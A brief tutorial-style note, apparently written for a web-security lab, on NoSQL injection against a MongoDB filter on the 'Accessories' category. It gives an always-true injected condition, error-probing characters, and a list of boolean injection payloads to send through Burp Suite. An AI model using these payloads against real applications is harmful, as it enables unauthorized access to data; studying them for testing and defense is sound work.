MongoDB Injection Attack

 This is demo exploit for MongoDB filter option.

Filter Accessories :

Business Logic:

if(this.category == ""Accessories")

{

/ ...do something

}


Exploitation:

if(this.category == 'Accessories' && this.limit == 3)  // Original

if(this.category == 'Accessories' || '1' == '1' && this.limit == 3)  // Payload Injected

{

/ ...do something

}


Capture the request in the burp suite.


Try with combination of symbolic to make error the request.

"   '   $   {   }  `   ;




Try with combination of Boolean expression 

' && 1 == 1
' && '1' == '1
' || 1 == 1
' || '1' == '1
' || 1 ||
' || 1 || '
' || '1' == '1


Note: Make sure apply with encode is CTRL + U.  











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